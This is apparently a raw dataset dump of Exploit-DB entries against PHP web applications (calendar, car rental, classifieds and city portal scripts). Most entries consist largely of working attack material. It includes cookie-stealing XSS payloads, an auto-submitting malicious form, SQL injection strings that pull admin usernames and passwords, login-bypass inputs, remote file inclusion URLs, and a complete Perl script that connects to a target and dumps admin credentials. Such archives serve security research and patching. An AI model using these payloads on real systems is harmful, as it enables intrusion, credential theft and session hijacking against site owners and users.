deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35760
Description: PHP Calendar Basic 2.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-05-17
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47887/info

PHP Calendar Basic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP Calendar Basic 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?month=5"><script>alert(&#039;XSS&#039;)</script>&year=2011"><sc ript>alert(document.cookie)</script>

<form action="http://www.example.com/event_add.php?day=27&month=4&year=2011" method="post" name="main">
<input type="hidden" name="month" value="4">
<input type="hidden" name="day" value="27">
<input type="hidden" name="year" value="2011">
<input type="hidden" name="hour" value="20">
<input type="hidden" name="minute" value="00">
<input type="hidden" name="title" value="1<script>alert(&#039;XSS&#039;)</script>">
<input type="hidden" name="description" value="descr">
<input type="submit" id="btn" name="submit" value="Add Event">
</form>
<script>
document.getElementById(&#039;btn&#039;).click();
</script>


http://www.example.com/event_delete.php?day=28&month=4&year=2011&id=1"><script>alert(document.c ookie)</script>
Exploit-DB #13947
Description: PHP Calendars Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-20
Author: L0rd CrusAd3r

Exploit:
1               ##########################################             1
0               I'm L0rd CrusAd3r member from Inj3ct0r Team            1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHP Calendars Script SQL Vulnerable 
Vendor url:http://www.jce-tech.com
Version:1	
Price:n/a
Published: 2010-06-21
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat.
Special Greetz: Topsecure.net, inj3ct0r Team
Shoutzz:- To all ICW members

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

PHP Calendars Script allows you to instantly create an online store to sell Calendars as a Calendars.com affiliate. The script comes complete with a default template, integrated Google Adsense, and a current copy of the Calendars.com datafeed. Code: PHP 4.0 

‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/product_list.php?cat=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #17309
Description: PHP Captcha / Securimage 2.0.2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2011-05-20
Author: Sense of Security

Exploit:
Sense of Security - Security Advisory - SOS-11-007

Release Date.               20-May-2011
Last Update.                -
Vendor Notification Date.   04-Apr-2011
Product.                    Securimage / PHPCaptcha 
Platform.                   PHP
Affected versions.          1.0.4 - 2.0.2
Severity Rating.            Medium
Impact.                     Authentication bypass
Attack Vector.             Remote without authentication
Solution Status.            Vendor workaround 
                            (remove securimage_play.php)
CVE reference.             Not yet assigned

Details.
PHPCaptcha, also known as Securimage, is a popular Open Source PHP
CAPTCHA library. It is also used in popular WordPress plugins such as
the 'Fast Secure Contact Form'. Insufficient distortion in the audio
version of the CAPTCHA allows an attacker to quickly decode the CAPTCHA
by performing basic binary analysis of the generated audio file. The
issue is compounded by the fact that even if the audio feature of the
CAPTCHA has been disabled, it can still be accessed by forceful
browsing to the /secure_play.php URI.

Proof of Concept.
Proof of concept code that works against the example_form.php page and
the MP3 file format provided with the standard PHPCaptcha package 
available from www.phpcaptcha.org is available at:

http://www.senseofsecurity.com.au/advisories/SOS-11-007.zip
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17309.zip (SOS-11-007.zip)

Proof of concept code is only available for the MP3 version of the
audio, however the WAV audio format is also affected by the same
vulnerability.

Solution.
Remove the script securimage_play.php and disable the use of the Audio
CAPTCHA.

Discovered by.
Phil Taylor from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and 
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.

Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-11-007.pdf 

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #13747
Description: PHP Car Rental Complete System 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-06
Author: Sid3^effects

Exploit:
# Title:PHP car rental complete System V1.2 SQli vulnerability
# Author: Sid3^effects
# Published: 2010-06-06 
# price:450 EURo
# email:shell_c99@yahoo.com
# vendor: NUNO PEREIRA
# url : http://www.acarhire.me.uk/
############################################################################
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r
#spl shoutz:LiquidWorm,gunslinger_ :D      
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
Description :
PHP Car Rental-Script You can try our latest stable release as it becomes available. To launch the demo open both
the web site and control panel views so you can preview your changes as they are made in real time from the
control panel. its very simple to use for the client and for the administration to change prices aand add
promotions i also has a built in newsletter facility and email collection
############################################################################ 

Xploit :
   PHP car rental complete System V1.2 suffers from a sqli vulnerability..
  url:http://server/group.php?id=-2+union+select+1,database(),3,4,5,6,7,8,version(),10,11,12--
 
         
############################################################################ 
#spl thks: exploit-db team
#Sid3^effects
Exploit-DB #11323
Description: PHP Car Rental-Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-02-03
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : PHP Car Rental-Script (Auth Bypass) SQL Injection
WebSite : http://www.carrentalphpscript.com/

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com

Greetz : Zuka , Achille Dark3r , int_0x80 , geeksec.com<http://geeksec.com> ...

*/

- Log-On page :

http://server/[PATH]/index.php?plugin_id=4

username = ' or '1=1/*
password = ' or '1=1/*
Exploit-DB #14425
Description: PHP Chat for 123 Flash Chat - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-20
Author: HaCkEr arar

Exploit:
*# Exploit Title:   php_chat Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: HaCkEr arar
# Email: y.0@hotmail.de
# My Sites : www.vbspiders.com
# Script home:
http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html
# Tested on: Windows
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM
# ViRuS Qalaa: em9@live.com
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
include('db/'.$select_db.'.php');
login_chat.php
Line:41

----exploit----

http://{localhost}/{path}login_chat.php?select_db=shell.txt?

---------greatz----------
Greatz to :
ViRuS Qalaa,VoLc4n0,Members www.j1q1.com

and My friends Others and My friends in MSN
EnJoY o_O*
Exploit-DB #34078
Description: PHP City Portal 1.3 - 'cms_data.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-02
Author: Red-D3v1L

Exploit:
source: https://www.securityfocus.com/bid/40532/info

PHP City Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PHP City Portal 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/cms_data.php?page=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #18210
Description: PHP City Portal Script Software - SQL Injection
Type: webapps
Platform: php
Date: 2011-12-07
Author: Don

Exploit:
############################################################################
# Exploit Title: *Php City Portal Script Software SQL Injection*
# Google Dork: *Powered by PHPCityPortal.com*
# Date: *Decembar/07/2011*
# Author: *Don (BalcanCrew & BalcanHack)*
# Software Link: *http://phpcityportal.com*
# Version: *1.1*
# Tested on: *Apache (Unix)*
############################################################################
# An attacker may execute arbitrary SQL statements on the vulnerable system.
# This may compromise the integrity of your database and/or expose
sensitive information.
############################################################################
*Attack details:*

URL encoded GET input userName was set to *1'*
Error message found: supplied argument is not a valid MySQL result

Vulnerability:
*http://localhost/phpcityportal/profile.php?userName= (SQL)*

*How to fix this vulnerability:*
Filter metacharacters from user input.

*NOTE!*
*You have to be logged in!*

~Don 2011
Exploit-DB #43089
Description: PHP CityPortal 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP CityPortal 2.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.phpcityportal.com/
# Software Link: http://www.phpcityportal.com/index.php
# Demo: http://phpcityportal.com/demo
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15970
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=news&nid=[SQL]
# 
# Parameter: cat (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
#     Payload: cat=1' OR NOT 6616=6616#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: cat=1' OR SLEEP(5)-- cCQQ
# 	
# Etc..
# # # # #
Exploit-DB #16062
Description: PHP Classified ads software - 'cid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-28
Author: h4ck3r

Exploit:
==
[-]Author: BorN To K!LL - h4ck3r
[-]Contact: SQL@hotmail.co.uk
==
[-]Script: PHP Classified ads software
[-]Version: n/a
[-]Link: http://www.softbizsolutions.com/classified-ads-software.php
==
[-]3xploit:
[path]/browsecats.php?cid=[Blind-Injection]

[-]3xample:
[path]/browsecats.php?cid=2 and substring(version(),1,1)=4         // false ,,
[path]/browsecats.php?cid=2 and substring(version(),1,1)=5         // true ,,

[-]Note:
after getting the username and the password you can login to admin panel
[path]/admin
==
[-]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
Exploit-DB #41492
Description: Php Classified OLX Clone Script - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Php Classified OLX Clone Script - SQL Injection
# Google Dork: N/A
# Date: 02.03.2017
# Vendor Homepage: https://wptit.com/
# Software: https://wptit.com/portfolio/php-classified-website-sale/
# Demo: http://www.adsthem.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search?search_key=IhsanSencan&category=[SQL]
# -30+/*!50000union*/+select+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))-- -
# Etc....
# :username<li>atulya_moderators
# :password<li>atulya_moderators
# :fullname<li>atulya_moderators
# :email<li>atulya_moderators
# # # # #
Exploit-DB #21552
Description: PHP Classifieds 6.0.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-06-14
Author: windows-1256

Exploit:
source: https://www.securityfocus.com/bid/5022/info

PHP Classifieds has been reported to be prone to cross-site scripting attacks. Attackers may inject arbitrary HTML or script code into URI parameters in a malicious link. When the malicious link is visited, the attacker's script code will be executed in the web client of the user browsing the link, in the security context of the website hosting the vulnerable software. 

http://target/phpclassifieds/latestwap.php?url=<script>alert('OopS');<
Exploit-DB #12386
Description: PHP Classifieds 6.09 - E-mail Dump
Type: webapps
Platform: php
Date: 2010-04-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHP Classifieds V6.09 E-mail Dump Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.dz-blackhat.com                                                                                                                                                                                                                   
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : E-mail Dump                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
     1- http://127.0.0.1/phpclassifieds/admin/dump.txt
     
     2- http://127.0.0.1/phpclassifieds/admin/backup/
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
--------------------------------------------------------------------------------------------------------------
Exploit-DB #2720
Description: PHP Classifieds 7.1 - 'detail.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-05
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  Php Classifieds <= 7.1 (detail.php) Remote SQL Injection Exploit
[//           Usage: class.pl [target] [path] [userid]
[//                   Example: class.pl victim.com / 1
[//                   Example: class.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$classifiedsserver = $ARGV[0];
$classifiedsserver =~ s/(http:\/\/)//eg;
$classifiedshost = "http://".$classifiedsserver;
$classifiedsport = "80";
$classifiedsdir = $ARGV[1];
$classifiedsfile = "detail.php?id=1009&contact=1&user_id=";
$classifiedsend = "member_login.php";
$classifiedstarget = "1%20union%20select%20concat(adm_name,char(32),adm_pass)%20from%20phpclass_admins%20where%20adm_id%20like%20".$ARGV[2];
$classifiedstarget = $classifiedshost.$classifiedsdir.$classifiedsfile.$classifiedstarget;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $classifiedsserver\n";
$classifieds = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$classifiedsserver", PeerPort => "$classifiedsport") || die "\n+ Connection failed...\n";
print $classifieds "GET $classifiedstarget\n";
print $classifieds "Host: $classifiedsserver\n";
print $classifieds "Accept: */*\n";
print $classifieds "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$classifieds>) {
if ($answer =~ /<b>(.*?)<\/b>/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username and Password: $1\n";
print "+ Lets go $classifiedshost$classifiedsdir$classifiedsend and\n+ Login with this information. \n";
exit();
}

if ($answer =~ /Ad removed or not yet approved/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
}
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-05]
Exploit-DB #2479
Description: PHP Classifieds 7.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-05
Author: Kzar

Exploit:
----
Credit: Kzar kzar@kzar.co.uk
kzar.co.uk/exploits/phpclassifieds_exploit
----
App Name: PHP Classifieds => 7.1
App URL: www.deltascripts.com/phpclassifieds
Problem: Multiple SQL Injection exploits
----
Exploit: search.php?catid_search=[sql]
        index.php?catid=[sql]
----
Example: Puts Username and Password in the title and on the page
index.php?catid=0 UNION SELECT concat(adm_name, space(1), adm_pass) AS adm_name, NULL FROM phpclass_admins
----
Context: These are the vulnerable queries
select cat_tpl from $cat_tbl where cat_id = ".$_REQUEST["catid_search"]
select cat_name,cat_tpl from $cat_tbl where cat_id = $catid
----
Google: Just go to http://www.deltascripts.com/phpclassifieds/livesites/
----

# milw0rm.com [2006-10-05]
Exploit-DB #14893
Description: PHP Classifieds 7.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-09-04
Author: alsa7r

Exploit:
==================================
  PHP Classifieds v7.3 RFI Vulnerability
==================================
 
====================================================
[x] ExpL0it TitLe : PHP Classifieds v7.3 RFI Vulnerability
[x] DatE          : 09 September 2010
[x] AutH0r        : alsa7r
[x] Contact       : TBT9@hotmail.com
[x] TestEd 0n     : windows 7 
[x] d0rK          : :P
====================================================
 
==========================================================================================
[x]bug heRe:
 function SetLanguage($lang_type, $lang_path = "tools/phpmailer/language/") {
    	//echo $lang_path.'phpmailer.lang-'.$lang_type.'.php';
        if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php'))
            include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
        else if(file_exists($lang_path.'phpmailer.lang-en.php'))
            include($lang_path.'phpmailer.lang-en.php');
        else
    }
==========================================================================================
 
==================================================================
[x]expL0iT:
http://[site]/classifieds/tools/phpmailer/class.phpmailer.php?lang_path=[EV!L]
==================================================================
 
============================================================================================
[x]th4nKs t0:
Mr.wolf , morabko , unit x team , sudan hacker team
============================================================================================
 
=====================
TBT9[at]hotmail[dot]com
=====================
Exploit-DB #11739
Description: PHP Classifieds 7.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-03-15
Author: ITSecTeam

Exploit:
Dear Sir / Madam
The ItSecTeam has discovered a new bug in  PHP Classifieds Lastest Version and will be glad to report and public it .
More information about this bug is listed below :
=======================================================================================
Topic : PHP Classifieds Version 7.5
Bug type : Blind SQL Injection
Author : ItSecTeam
Remote : Yes
Status   : Bug
===================== Content ======================
( # Advisory Content : PHP Classifieds
( # Mail : Bug@ItSecTeam.com
( # Find By : Amin Shokohi(Pejvak!)
( # Special Tnx : M3hr@n.S , 0xd41684c654 And All Team Members!
( # Website : WwW.ItSecTeam.com
( # Forum : WwW.Forum.ItSecTeam.com

=================================================
============================================= Exploit 1 =======================================
( * http://localhost/phpClassifieds v7.5/ad_click.php?bid=2 SQL Injection Code
----------------------------------------------------------------------------------
<BUG>
  $bid=getParam("bid","");
if ($bid>0)
{
    $sql_banner = "SELECT goto_url FROM $banner_tbl WHERE bid=****$bid****";
........}
</Bug>
----------------------------------------------------------------------------------
===========================================================================================